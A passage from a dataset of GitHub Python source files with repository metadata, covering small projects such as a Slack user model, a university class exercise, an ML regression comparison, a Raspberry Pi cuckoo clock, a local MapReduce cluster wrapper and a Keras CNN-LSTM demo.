self._ws = ws\n self.id = data['id']\n self.set_from_data(data)\n\n def set_from_data(self, data):\n profile = data['profile']\n if 'display_name' in profile and profile['display_name']:\n name = data['profile']['display_name']\n elif 'real_name' in data['profile'] and data['profile']['real_name']:\n name = data['profile']['real_name']\n else:\n name = data['name']\n\n new_data = {\n 'avatar': Avatar(profile['avatar_hash'], profile['image_512']),\n 'deleted': data['deleted'],\n 'name': name,\n 'username': data['name'],\n 'presence': data['presence'] if 'presence' in data else None,\n 'title': data['title'] if 'title' in data else None\n }\n\n for prop, new_value in new_data.items():\n old_value = self.get_property(prop)\n if new_value != old_value:\n self.set_property(prop, new_value)\n","repo_name":"luka-n/glack","sub_path":"glack/models/user.py","file_name":"user.py","file_ext":"py","file_size_in_byte":1445,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"3195678773","text":"# coding=gbk\r\n# @file:03-file_bigdataread.py\r\n# @data:2021/7/4 21:14\r\n# Editor:clown\r\nf= open('1.txt','r',encoding='utf-8')\r\nwhile True:\r\n buf=f.readline()\r\n if buf: #if len(buf)>0\r\n print(buf,end='')\r\n else:\r\n break\r\nf.close()","repo_name":"cjj1472111531/python_file","sub_path":"03-file_bigdataread.py","file_name":"03-file_bigdataread.py","file_ext":"py","file_size_in_byte":251,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"37097934389","text":"class Mahasiswa:\r\n # Fungsi untuk menginisiasi class Mahasiswa\r\n def __init__(self, nama, npm, jurusan):\r\n self.nama = nama\r\n self.npm = npm\r\n self.jurusan = jurusan\r\n \r\n # Fungsi untuk menampilkan informasi dari Mahasiswa yang diinput\r\n def tampilkan_info(self):\r\n print(\"Nama: \", self.nama)\r\n print(\"NPM: \", self.npm)\r\n print(\"Jurusan: \", self.jurusan.NamaJurusan)\r\n\r\nclass Jurusan:\r\n # Fungsi untuk menginisiasi class Jurusan\r\n def __init__(self, nama_jurusan):\r\n self.NamaJurusan = nama_jurusan\r\n self.DaftarMahasiswa = []\r\n \r\n # Fungsi untuk menambah objek mahasiswa ke dalam class jurusan\r\n def tambah_mahasiswa(self, mahasiswa):\r\n self.DaftarMahasiswa.append(mahasiswa)\r\n \r\n # Fungsi untuk menampilkan daftar mahasiswa yang ada di dalam jurusan yang diinginkan\r\n def tampilkan_daftar_mahasiswa(self):\r\n print(\"-----------------------\")\r\n print(\"Daftar Mahasiswa di Jurusan\", self.NamaJurusan, \":\")\r\n for mahasiswa in self.DaftarMahasiswa:\r\n print(\"Nama : \", mahasiswa.nama)\r\n print(\"NPM : \", mahasiswa.npm)\r\n print(\"-----------------------\")\r\n\r\nclass Universitas:\r\n # Fungsi untuk menginisiasi class Universitas\r\n def __init__(self, nama_universitas):\r\n self.NamaUniversitas = nama_universitas\r\n self.DaftarJurusan = []\r\n \r\n # Fungsi untuk menambahkan jurusan ke dalam objek universitas\r\n def tambah_jurusan(self, jurusan):\r\n self.DaftarJurusan.append(jurusan)\r\n \r\n # Fungsi untuk menampilkan daftar jurusan yang ada di dalam Universitas\r\n def tampilkan_daftar_jurusan(self):\r\n print(\"Daftar Jurusan di Universitas\", self.NamaUniversitas, \":\")\r\n for jurusan in self.DaftarJurusan:\r\n print(jurusan.NamaJurusan)\r\n\r\n# Buat objek Universitas dengan nama \"XYZ University\"\r\nuniversitas = Universitas(\"XYZ University\")\r\n\r\n# Buat objek Jurusan dengan nama \"Teknik Informatika\" dan tambahkan ke dalam Universitas XYZ.\r\njurusan_TI = Jurusan(\"Teknik Informatika\")\r\nuniversitas.tambah_jurusan(jurusan_TI)\r\n\r\n# Buat objek Jurusan dengan nama \"Manajemen Bisnis\" dan tambahkan ke dalam Universitas XYZ.\r\njurusan_mb = Jurusan(\"Manajemen Bisnis\")\r\nuniversitas.tambah_jurusan(jurusan_mb)\r\n\r\n# Buat objek Jurusan dengan nama \"Sastra Inggris\" dan tambahkan ke dalam Universitas XYZ.\r\njurusan_sastra = Jurusan(\"Sastra Inggris\")\r\nuniversitas.tambah_jurusan(jurusan_sastra)\r\n\r\n# Buat objek Jurusan dengan nama \"Arkeologi\" dan tambahkan ke dalam Universitas XYZ.\r\njurusan_arkeologi = Jurusan(\"Arkeologi\")\r\nuniversitas.tambah_jurusan(jurusan_arkeologi)\r\n\r\n# Buat objek Jurusan dengan nama \"Akuntansi\" dan tambahkan ke dalam Universitas XYZ.\r\njurusan_akuntansi = Jurusan(\"Akuntansi\")\r\nuniversitas.tambah_jurusan(jurusan_akuntansi)\r\n\r\n# Buat objek Mahasiswa dengan nama \"Ridho Herta Putra\", NPM \"G1A022061\", dan masukkan ke dalam Jurusan Teknik Informatika di XYZ University.\r\nmahasiswa = Mahasiswa(\"Ridho Herta Putra\", \"G1A022061\", jurusan_TI)\r\njurusan_TI.tambah_mahasiswa(mahasiswa)\r\n\r\n# Tampilkan daftar jurusan yang ada di Universitas XYZ.\r\nuniversitas.tampilkan_daftar_jurusan()\r\n\r\n# Tampilkan daftar mahasiswa yang terdaftar dalam Jurusan Teknik Informatika di Universitas XYZ.\r\njurusan_TI.tampilkan_daftar_mahasiswa()\r\n","repo_name":"Ridhohertaputra/PBO-Unit-Class","sub_path":"PBO_class.py","file_name":"PBO_class.py","file_ext":"py","file_size_in_byte":3332,"program_lang":"python","lang":"id","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"74746250152","text":"import pandas as pd\r\nimport numpy as np\r\nimport joblib\r\nfrom tqdm import tqdm\r\nimport progressbar\r\nimport preprocess\r\nfrom sklearn.model_selection import train_test_split, cross_val_score, RandomizedSearchCV\r\nfrom sklearn.metrics import mean_squared_error, mean_absolute_error, r2_score\r\nfrom sklearn.ensemble import StackingRegressor\r\nfrom sklearn.linear_model import LinearRegression\r\nfrom sklearn.tree import DecisionTreeRegressor\r\nfrom sklearn.ensemble import RandomForestRegressor\r\nfrom lightgbm import LGBMRegressor\r\nfrom xgboost import XGBRegressor\r\nfrom catboost import CatBoostRegressor\r\nimport matplotlib.pyplot as plt\r\n\r\ndata = preprocess.main()\r\n# Define X (features) and y (target)\r\nX = data.drop('SalePrice', axis=1)\r\ny = data['SalePrice']\r\n\r\nX_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.2, random_state=42)\r\n\r\n# Define models with their respective hyperparameter search space\r\nmodels = [\r\n (\"Linear Regression\", LinearRegression(), {}),\r\n (\"Decision Tree Regression\", DecisionTreeRegressor(), {'max_depth': [None, 10, 20]}),\r\n (\"Random Forest Regression\", RandomForestRegressor(), {'n_estimators': [100, 200]}),\r\n (\"LightGBM\", LGBMRegressor(), {'num_leaves': [31, 50], 'max_depth': [-1, 10,]}),\r\n (\"XGBoost\", XGBRegressor(), {'n_estimators': [100, 200], 'max_depth': [3, 5]}),\r\n (\"CatBoost\", CatBoostRegressor(verbose=False), {'n_estimators': [100, 200]})\r\n]\r\n\r\nresults = []\r\nbest_test_r2 = float('-inf')\r\nbest_model = None\r\n\r\n\r\nfor model_name, base_model, param_dist in models:\r\n print(f\"Running {model_name}\")\r\n\r\n tqdm_iterator = tqdm(range(10)) # Create a tqdm iterator\r\n # Hyperparameter tuning using RandomizedSearchCV\r\n for iteration in tqdm_iterator:\r\n random_search = RandomizedSearchCV(base_model, param_distributions=param_dist, n_iter=10, cv=5,\r\n scoring='neg_mean_squared_error', n_jobs=-1, random_state=42)\r\n random_search.fit(X_train, y_train)\r\n tqdm_iterator.set_description(f\"Progress: {iteration}\")\r\n tqdm_iterator.close() # Close the tqdm iterator when done\r\n\r\n best_model = random_search.best_estimator_\r\n\r\n # Evaluate cross-validation performance\r\n cv_rmse_mean = np.sqrt(-cross_val_score(best_model, X_train, y_train, cv=5, scoring='neg_mean_squared_error', n_jobs=-1).mean())\r\n cv_r2_mean = cross_val_score(best_model, X_train, y_train, cv=5, scoring='r2', n_jobs=-1).mean()\r\n\r\n # Train stacking regressor\r\n stacking_regressor = StackingRegressor(estimators=[(model_name, best_model)], final_estimator=LinearRegression())\r\n stacking_regressor.fit(X_train, y_train)\r\n\r\n # Evaluate test performance\r\n y_pred = stacking_regressor.predict(X_test)\r\n r2_test = r2_score(y_test, y_pred)\r\n mse_test = mean_squared_error(y_test, y_pred)\r\n mae_test = mean_absolute_error(y_test, y_pred)\r\n\r\n results.append((model_name, cv_rmse_mean, cv_r2_mean, r2_test, mse_test, mae_test))\r\n print(\"----------------------------------------------------------------------------\")\r\n\r\n # Update the best model if current model has a better test R2 score\r\n if r2_test > best_test_r2:\r\n best_test_r2 = r2_test\r\n best_model = stacking_regressor\r\n# Save the best model to a file using joblib\r\njoblib.dump(best_model, 'best_model.pkl')\r\n\r\n# Create a DataFrame to display results\r\nresults_df = pd.DataFrame(results, columns=['Model', 'CV RMSE Mean', 'CV R2 Mean', 'Test R2', 'Test MSE', 'Test MAE'])\r\n\r\n# Print results\r\nprint(\"Model Evaluation Results:\")\r\nprint(results_df)\r\n\r\n# Create a bar plot of test R2 scores\r\nplt.figure(figsize=(10, 6))\r\nplt.bar(results_df['Model'], results_df['Test R2'], color='skyblue')\r\nplt.xlabel('Model')\r\nplt.ylabel('Test R2 Score')\r\nplt.title('Test R2 Score of Different Models')\r\nplt.xticks(rotation=45)\r\nplt.tight_layout()\r\nplt.show()\r\n","repo_name":"tlgakpln/House-Price-Prediction","sub_path":"ml_models.py","file_name":"ml_models.py","file_ext":"py","file_size_in_byte":3857,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"32732392564","text":"import math\n\n\ndef cods(loc):\n coords = dict.fromkeys({'latitude', 'longitude'})\n coords['latitude'] = loc[0]\n coords['longitude'] = loc[1]\n return coords\n\n\ndef codsDiff(locA, locB):\n cods1 = cods(locA)\n cods2 = cods(locB)\n listk = [cods1['latitude'] - cods2['latitude'], cods1['longitude'] - cods2['longitude']]\n print(listk)\n return listk\n\n\ndef distance_between(locA, locB):\n coordDiff = codsDiff(locA, locB)\n # coordB = cods(locB)\n lat = 0\n lon = 1\n conversion_factor = 6373.0\n\n print(coordDiff[lat], ' coordDiff[lat]: ', coordDiff[lon])\n a = math.pow(math.sin(coordDiff[lat] / 2), 2)\n d = math.pow(math.sin(coordDiff[lon] / 2), 2)\n print(' a: ', a)\n b = math.cos(locB[0])\n print(' b: ', locB[0])\n print(' b=: ', b)\n c = math.cos(locA[0])\n print(' c: ', locA[0])\n print(' c=: ', c)\n\n print(' d: ', d)\n result1 = a + b * c * d\n print(' result1: ', result1)\n result2 = conversion_factor * (2 * math.atan2(math.sqrt(result1), math.sqrt(1 - result1)))\n print('distance_between result2 : ', result2)\n\n\nvancouver = (49.2827, -123.1207)\nmontreal = (45.5019, -73.5674)\ncalgary = (51.0447, -114.0719)\ntoronto = (43.6532, -79.3832)\n\n#distance_between(toronto, vancouver)\ndistance_between(toronto, montreal)\n","repo_name":"KWABENA81/edureka-python-scripting","sub_path":"py_scripts/mod3-cs1/mod3cs1-Q13.py","file_name":"mod3cs1-Q13.py","file_ext":"py","file_size_in_byte":1286,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"38300458718","text":"from proximitychecklib import *\r\nimport PySimpleGUI as sg\r\n#D:\\Documents\\python\\proximity\\charts\r\nform = sg.FlexForm('Data Entry')\r\nwindow = [\r\n [sg.Text('Please enter student name and csv folder')],\r\n [sg.Text('Name', size=(15, 1)), sg.InputText('')],\r\n [sg.Text('Folder Directory', size=(15, 1)), sg.InputText('')],\r\n [sg.Submit(), sg.Cancel()]\r\n ]\r\nbutton, input = form.layout(window).Read()\r\nstudName = input[0]\r\nfileDir = input[1]\r\ncsvs = getListOfFiles(fileDir)\r\nfinalContactList = []\r\nfor file in csvs:\r\n chart = (csvToArray(file))\r\n contactList = proximity(studName, chart)\r\n for item in contactList:\r\n finalContactList.append(item)\r\nresult = removeDoubles(finalContactList)\r\nprint(result)\r\n","repo_name":"HidnGemini/contacttracing","sub_path":"proxcheckfinal2.py","file_name":"proxcheckfinal2.py","file_ext":"py","file_size_in_byte":759,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"1656587297","text":"import subprocess\nimport concurrent.futures\nfrom ..monitoring.local_monitoring import LocalMonitoring\nfrom ..authentication.auth import Auth\n\n\nclass LocalCluster:\n def __init__(self, auth, n_workers=None, n_masters=None, initialize=False, verbose=False):\n\n if not isinstance(auth, Auth):\n raise TypeError(\"auth must be an instance of Auth class.\")\n\n if not auth.is_authenticated():\n raise ValueError(\"You are not authenticated. Please authenticate first.\")\n\n self.zk_hosts = \"localhost:2181,localhost:2182,localhost:2183\"\n self.hdfs_host = \"localhost:9870\" # namenode\n\n self.local_monitoring = LocalMonitoring(self.zk_hosts)\n\n self.zk_client, self.hdfs_client = None, None\n\n if initialize:\n self.cluster_initialize(verbose=verbose)\n\n if n_workers is not None or n_masters is not None:\n self.scale(n_workers, n_masters, verbose=verbose)\n\n def get_zk_client(self):\n return self.local_monitoring.get_zk_client()\n\n def get_hdfs_client(self):\n return self.local_monitoring.get_hdfs_client()\n\n def mapreduce(self, data, map_func, reduce_func, requested_n_workers=None):\n \"\"\"\n Perform MapReduce on the local cluster. Returns a Future object immediately.\n\n :param data: Input data for MapReduce.\n :param map_func: Map function.\n :param reduce_func: Reduce function.\n :param requested_n_workers: The number of workers requested for this job (`None` means all available)\n :return: concurrent.futures.Future\n \"\"\"\n hdfs_client = self.get_hdfs_client()\n zk_client = self.get_zk_client()\n\n job_id = zk_client.get_sequential_job_id()\n\n hdfs_client.job_create(job_id=job_id, data=data, map_func=map_func, reduce_func=reduce_func)\n\n zk_client.register_job(job_id=job_id, requested_n_workers=requested_n_workers)\n\n # Job completion event. When it is set we know the job is complete\n event = self.local_monitoring.job_completion_event(job_id)\n\n executor = concurrent.futures.ThreadPoolExecutor(max_workers=1)\n job_completion_future = executor.submit(self.wait_for_completion_and_get_results, job_id, event)\n\n return job_completion_future\n\n def wait_for_completion_and_get_results(self, job_id, event):\n \"\"\"\n Wait for the job to complete, then get the results.\n\n :param job_id: The id of the job to wait for.\n :param event: The thread.Event() job-completion event. We wait until it is set\n :return: The results of the job.\n \"\"\"\n\n while not event.is_set():\n # TODO: print beautiful info\n event.wait(1)\n\n hdfs_client = self.get_hdfs_client()\n\n output_data = []\n for filename in hdfs_client.hdfs.list(f'jobs/job_{job_id}/reduce_results/'):\n output_data.extend(hdfs_client.get_data(f'jobs/job_{job_id}/reduce_results/{filename}'))\n\n return output_data\n\n def scale(self, n_workers=None, n_masters=None, verbose=False):\n \"\"\"\n Scale the local cluster to the specified number of workers and masters.\n\n :param n_workers: Number of workers. If not provided, the current number of registered workers will be used.\n :param n_masters: Number of masters. If not provided, the current number of registered masters will be used.\n :param verbose: Whether to print verbose output.\n \"\"\"\n\n # This to make sure we do not delete workers. --scale with the same number as live, does not recreate\n if n_workers is None:\n _, n_workers = self.local_monitoring.get_registered_workers()\n if n_masters is None:\n _, n_masters = self.local_monitoring.get_registered_masters()\n\n subprocess.run(\n ['docker-compose', 'up', '-d', '--scale', f'worker={n_workers}',\n '--scale', f'master={n_masters}', '--no-recreate'],\n stdout=subprocess.DEVNULL if not verbose else None,\n stderr=subprocess.DEVNULL if not verbose else None\n )\n\n def cluster_initialize(self, verbose=False):\n \"\"\"\n Initialize the local cluster by starting necessary services and creating directories in ZooKeeper\n and HDFS.\n\n :param verbose: Whether to print verbose output.\n \"\"\"\n subprocess.run(\n ['docker-compose', 'up', '-d', '--scale', 'worker=0',\n '--scale', 'master=0', '--no-recreate'],\n stdout=subprocess.DEVNULL if not verbose else None,\n stderr=subprocess.DEVNULL if not verbose else None\n )\n\n hdfs_client = self.get_hdfs_client()\n\n zk_client = self.get_zk_client()\n zk_client.setup_paths()\n\n # Because we do not persist jobs in ZooKeeper, we need to know the number of persisted jobs in HDFS\n # to set the first job id in ZooKeeper correctly (so that we do not have job id collisions).\n # After we set this up, the job ids from ZooKeeper will be sequential and unique.\n num_persisted_jobs = len(hdfs_client.hdfs.list('jobs/'))\n zk_client.setup_first_job_id(num_persisted_jobs)\n\n def clear(self):\n \"\"\"\n Clear the local cluster by deleting all job-related data in ZooKeeper and HDFS. We leave it up to the user\n to make sure that no jobs are running when calling this method and the distributed system is in a consistent\n state before calling this method.\n \"\"\"\n\n zk_client = self.get_zk_client()\n hdfs_client = self.get_hdfs_client()\n\n zk_client.clear()\n hdfs_client.clear()\n\n def shutdown_cluster(self, verbose=False, cleanup=False):\n \"\"\"\n Shutdown the local cluster by stopping services and cleaning up resources.\n\n :param verbose: Whether to print verbose output.\n :param cleanup: Whether to delete and not persist in the `volume` the finished jobs in HDFS\n \"\"\"\n zk_client = self.get_zk_client()\n hdfs_client = self.get_hdfs_client()\n\n if cleanup:\n hdfs_client.cleanup()\n\n zk_client.zk.stop()\n zk_client.zk.close()\n\n subprocess.run(\n ['docker-compose', 'down'],\n stdout=subprocess.DEVNULL if not verbose else None,\n stderr=subprocess.DEVNULL if not verbose else None\n )\n","repo_name":"miketheologitis/MapReduce-Implementation","sub_path":"mapreduce/cluster/local_cluster.py","file_name":"local_cluster.py","file_ext":"py","file_size_in_byte":6352,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"70747762152","text":"import numpy as np\r\n\r\nfrom sklearn.metrics import accuracy_score\r\nfrom keras.datasets import cifar10\r\nfrom keras.utils import to_categorical\r\nfrom keras.models import Sequential, Model\r\nfrom keras.layers import Conv2D, MaxPooling2D, Flatten, Dense, LSTM, Input, Activation, Reshape, concatenate\r\nfrom keras import optimizers\r\n\r\n(X_train, y_train), (X_test, y_test) = cifar10.load_data()\r\n\r\ny_train = to_categorical(y_train)\r\ny_test = to_categorical(y_test)\r\n\r\ninput_layer = Input(shape = (X_train.shape[1], X_train.shape[2], X_train.shape[3]))\r\nconv_layer = Conv2D(filters = 50, kernel_size = (3,3), strides = (1,1), padding = 'same')(input_layer)\r\nactivation_layer = Activation('relu')(conv_layer)\r\npooling_layer = MaxPooling2D(pool_size = (2,2), padding = 'same')(activation_layer)\r\nflatten = Flatten()(pooling_layer)\r\ndense_layer_1 = Dense(100)(flatten)\r\n\r\nreshape = Reshape(target_shape = (X_train.shape[1]*X_train.shape[2], X_train.shape[3]))(input_layer)\r\nlstm_layer = LSTM(50, return_sequences = False)(reshape)\r\ndense_layer_2 = Dense(100)(lstm_layer)\r\nmerged_layer = concatenate([dense_layer_1, dense_layer_2])\r\noutput_layer = Dense(10, activation = 'softmax')(merged_layer)\r\n\r\nmodel = Model(inputs = input_layer, outputs = output_layer)\r\n\r\nadam = optimizers.Adam(lr = 0.001)\r\nmodel.compile(loss = 'categorical_crossentropy', optimizer = adam, metrics = ['accuracy'])\r\n\r\nhistory = model.fit(X_train, y_train, epochs = 10, batch_size = 100, verbose = 1)\r\n\r\nresults = model.evaluate(X_test, y_test)\r\nprint('Test Accuracy: ', results[1])","repo_name":"buomsoo-kim/Easy-deep-learning-with-Keras","sub_path":"3. RNN/3-Advanced-RNN-2/3-2-cnn-rnn-2.py","file_name":"3-2-cnn-rnn-2.py","file_ext":"py","file_size_in_byte":1542,"program_lang":"python","lang":"en","doc_type":"code","stars":407,"dataset":"github-code","pt":"72"} +{"seq_id":"12655938207","text":"\"\"\"empty message\n\nRevision ID: 83b1d122887e\nRevises: 8ae19666bc12\nCreate Date: 2018-10-06 13:47:38.119161\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = '83b1d122887e'\ndown_revision = '8ae19666bc12'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.add_column('user', sa.Column('full_name', sa.String(length=64), nullable=True))\n op.add_column('user', sa.Column('tutor_group', sa.String(length=8), nullable=True))\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_column('user', 'tutor_group')\n op.drop_column('user', 'full_name')\n # ### end Alembic commands ###\n","repo_name":"alienonolympus/ordering_app","sub_path":"migrations/versions/83b1d122887e_.py","file_name":"83b1d122887e_.py","file_ext":"py","file_size_in_byte":792,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"19487642349","text":"true=0\nfalse=0\n\nrow=int(input())\nfor i in range(row):\n items=input().split()\n item_set=set(items)\n if len(items)>len(item_set):\n true+=1\n else:\n false+=1\nprint(\"True=\",true)\nprint(\"False=\",false)","repo_name":"Yif1999/Programming-in-Python","sub_path":"code in python/7-3 重复元素查找.py","file_name":"7-3 重复元素查找.py","file_ext":"py","file_size_in_byte":205,"program_lang":"python","lang":"fa","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"32559458031","text":"#!/usr/bin/python3\n#\n# Call this every minute using Cron to set the NeoPixel clock\n# Cuckoo bird comes out at the top of the hour\n# and tweets once for every hour\n#\n# sample crontab\n# * * * * * /root/bin/cuckoo/neoClock.py >> /var/log/neoClock.log 2>&1\n#\n\n# TIMEZONE\nTZONE = \"US/Pacific\"\t# Set your timezone\n\t\t\t# https://gist.github.com/heyalexej/8bf688fd67d7199be4a1682b3eec7568\n\n# COLORS\nHourColor = (76, 0, 153)\t# Hour Hand Color (RED, GREED, BLUE)\nMinuteColor = (0, 127, 255)\t# Minute Hand Color (RED, GREEN, BLUE)\n\n# SOUNDS\t\t\t(must be in the same directory as this script)\nCLICKWAV = \"click.wav\"\t# Clock tick sound (set to \"\" for no click)\nCUCKOOWAV = \"cuckoo.wav\"\t# Cuckoo sound (set to \"\" for no cuckoo)\nVOLUME = 0.5\t\t# Value between 0.0 and 1.0\n\n## RING PROPERTIES\nring_colors = \"GRBW\"\t# RGB, GRB, RGWB, GRBW\n\t\t\t# This is the color order for the ring. Different rings have different color orders\nring_pixels = 24\t# The number of pixels on your ring\nring_direction = \"cw\"\t# cw = clockwise, ccw = counter clockwise\n\t\t\t# Yes, some rings are wired in the reverse direction. SMH\npixel_brightness = 0.3\t# Value between 0.0 and 1.0\n\n# minute to pixel mapping\n# 24 pixel ring, clockwise\nmin2pix24cw = [0,0,1,1,2,2,2,3,3,4,4,4,5,5,6,6,6,7,7,8,8,8,9,9,10,10,10,11,11,12,12,12,13,13,14,14,14,15,15,16,16,16,17,17,18,18,18,19,19,20,20,20,21,21,22,22,22,23,23,0,0]\n\n# 24 pixel ring, counter clockwise\nmin2pix24ccw = [0,0,23,23,22,22,22,21,21,20,20,20,19,19,18,18,18,17,17,16,16,16,15,15,14,14,14,13,13,12,12,12,11,11,10,10,10,9,9,8,8,8,7,7,6,6,6,5,5,4,4,4,3,3,2,2,2,1,1,0,0]\n\n# 16 pixel ring, clockwise\nmin2pix16cw = [0,0,1,1,1,1,2,2,2,2,3,3,3,3,4,4,4,5,5,5,5,6,6,6,6,7,7,7,7,8,8,8,9,9,9,9,10,10,10,10,11,11,11,11,12,12,12,13,13,13,13,14,14,14,14,15,15,15,15,0,0]\nhr2pix16cw = [0,1,3,4,5,7,8,9,11,12,13,15,0]\n\n# 16 pixel ring, counter clockwise\nmin2pix16ccw = [0,0,15,15,15,15,14,14,14,14,13,13,13,13,12,12,12,11,11,11,11,10,10,10,10,9,9,9,9,8,8,8,7,7,7,7,6,6,6,6,5,5,5,5,4,4,4,3,3,3,3,2,2,2,2,1,1,1,1,0,0]\nhr2pix16ccw = [0,15,13,12,11,9,8,7,5,4,3,1,0]\n\n# PyGame support (for audio)\nimport sys\nimport os\nos.environ['PYGAME_HIDE_SUPPORT_PROMPT'] = \"hide\"\nimport contextlib\nwith contextlib.redirect_stdout(None):\n import pygame as pg\n\n# setup time realted items\nimport time\nos.environ['TZ'] = TZONE\ntime.tzset()\n\n# turn on the Crickit amplifier\nimport RPi.GPIO as GPIO\nGPIO.setmode(GPIO.BCM)\nGPIO.setwarnings(False)\nGPIO.setup(16,GPIO.OUT)\nGPIO.output(16,GPIO.HIGH)\n\n# load and play the click sound\nwavdir = os.path.dirname(os.path.realpath(__file__)) + \"/\"\npg.mixer.init(44100, -16, 2, 2048)\npg.mixer.music.set_volume(VOLUME)\nif CLICKWAV:\n pg.mixer.music.load(wavdir + CLICKWAV)\n pg.mixer.music.play()\n\n# setup NeoPixels and Crickit hat\nimport time\nimport neopixel\nfrom adafruit_crickit import crickit\nfrom adafruit_seesaw.neopixel import NeoPixel\n\n# setup pixel color order\nif ring_colors == \"GRB\":\n ORDER = neopixel.GRB\nelif ring_colors == \"RGBW\":\n ORDER = neopixel.RGBW\nelif ring_colors == \"GRBW\":\n ORDER = neopixel.GRBW\nelse:\n ORDER = neopixel.RGB\n\n# initialize the pixel ring\npixels = NeoPixel(crickit.seesaw, 20, ring_pixels, bpp=len(ring_colors), brightness=pixel_brightness, pixel_order=ORDER)\n\n# bird functions\nbird = crickit.dc_motor_1\nbeak = crickit.drive_1\nbeak.frequency = 1000\n\n# push the bird out\ndef birdOut():\n bird.throttle = 1\n time.sleep(0.35)\n bird.throttle = 0\n\n# pull the bird in\ndef birdIn():\n bird.throttle = -1\n time.sleep(0.35)\n bird.throttle = 0\n\n# open the beak\ndef beakOpen():\n beak.fraction = 1.0\n\n# close the beak\ndef beakClose():\n beak.fraction = 0.0\n\n# if set, play the cuckoo sound\ndef tweet():\n if CUCKOOWAV:\n pg.mixer.music.play()\n\n# go through the cuckoo sequence\ndef cuckoo(i):\n # convert to 12 hour clock\n if i > 12:\n i -= 12\n\n # if set, load the cuckoo sound\n if CUCKOOWAV:\n pg.mixer.music.load(wavdir + CUCKOOWAV)\n\n # push out the bird\n birdOut()\n\n # tweet and flap once for every hour\n for x in range(i):\n beakOpen()\n tweet()\n time.sleep(1)\n beakClose()\n time.sleep(1)\n birdIn()\n\n# Turn off all pixels\nBLACK = (0,0,0)\nif len(ring_colors) == 4:\n BLACK = BLACK + (0,)\npixels.fill((BLACK))\npixels.show()\n\n### FUNCTIONS\n\n# convert minutes to pixel number\ndef minutePixel(i):\n # make sure i is an int\n i = int(i)\n\n # default px\n px = 0\n\n # 24 pixel ring\n if ring_pixels == 24:\n if ring_direction == \"cw\":\n px = min2pix24cw[i]\n elif ring_direction == \"ccw\":\n px = min2pix24ccw[i]\n\n # 16 pixel ring\n elif ring_pixels == 16:\n if ring_direction == \"cw\":\n px = min2pix16cw[i]\n elif ring_direction == \"ccw\":\n px = min2pix16ccw[i]\n\n # return pixel value\n return px\n\n# convert hours to pixel number\ndef hourPixel(i):\n # if hour is greater than 12, subtract 12 to get the correct 12 hour time\n if i > 12:\n i -= 12\n\n # default px\n px = 0\n\n # 24 pixel ring\n if ring_pixels == 24:\n i = i * 2\n px = i\n\n # 16 pixel ring\n elif ring_pixels == 16:\n if ring_direction == \"cw\":\n px = hr2pix16cw[i]\n elif ring_direction == \"ccw\":\n px = hr2pix16ccw[i]\n\n # return pixel value\n return px\n\n####\n#### MAIN STARTS HERE\n####\n\n# get hour from clock\nHOUR = int(time.strftime(\"%H\"))\n\n# get the ring pixel number\nHR = hourPixel(HOUR)\n\n# check for 4th color and append zero if necessary\nif len(ring_colors) == 4:\n HourColor = HourColor + (0,)\n\n# set the pixel color for the hour hand\npixels[HR] = HourColor\n\n# get minute from clock\nMINUTE = int(time.strftime(\"%M\"))\n\n# get the ring pixel number\nMN = minutePixel(MINUTE)\n\n# check for the 4th color and append zero if necessary\nif len(ring_colors) == 4:\n MinuteColor = MinuteColor + (0,)\n\n# set the pixel color for the minute hand\npixels[MN] = MinuteColor\n\n# for debug, to see what the time is\nprint(\"Time: {:02d}:{:02d} Pixel: {:02d},{:02d}\".format(HOUR,MINUTE,HR,MN))\n\n# display the new clock position\npixels.show()\n\n# check for top of the hour and activate the bird!\nif MINUTE == 0:\n cuckoo(HOUR)\n","repo_name":"sKr0d/cuckoo","sub_path":"neoClock.py","file_name":"neoClock.py","file_ext":"py","file_size_in_byte":6186,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"70640634473","text":"\nwhile True:\n\n values = input().split()\n\n loan_duration, down_payment, loan_amount, dep_records = map(float, values)\n deprecations = list(range(101))\n\n if loan_duration < 0:\n break\n\n for dep in range(int(dep_records)):\n x = input().split()\n month, val = int(x[0]), float(x[1])\n\n for i in range(month, 101):\n deprecations[i] = val\n\n car_value = (loan_amount + down_payment) * (1 - deprecations[0])\n owned_value = loan_amount\n monthly_payment = loan_amount/loan_duration\n current_month = 0\n\n while car_value < owned_value:\n\n current_month += 1\n owned_value -= monthly_payment\n car_value *= (1 - deprecations[current_month])\n\n m = 'months'\n\n if current_month == 1:\n m = 'month'\n\n print(current_month, m)\n","repo_name":"luxorv/algorithms","sub_path":"uva/cp3/introduction/loansome_car_buyer10114.py","file_name":"loansome_car_buyer10114.py","file_ext":"py","file_size_in_byte":807,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"218209241","text":"#!/usr/bin/env python\n\nimport sys\nimport os\n\nsys.path.append(os.path.join(sys.path[0],'../../'))\nfrom fdtoolbox.calculation_set import *\nfrom fdtoolbox.utility import *\nfrom fdtoolbox.linear_expansion import *\n\nspecies = argvtospecies( sys.argv[1] )\n\ncs = calculation_set()\n\nloggable.log_level = LOG_ERROR\n \nfor path in sys.argv[2:]: \n if os.path.isfile(path) or os.path.isfile(path+'.gz'):\n #print 'Reading from single file: %s' % path\n calc=calculation()\n cs.add_calculation( calc )\n elif os.path.isdir(path):\n if os.path.isfile( os.path.join(path, 'OUTCAR') ) or os.path.isfile( os.path.join(path, 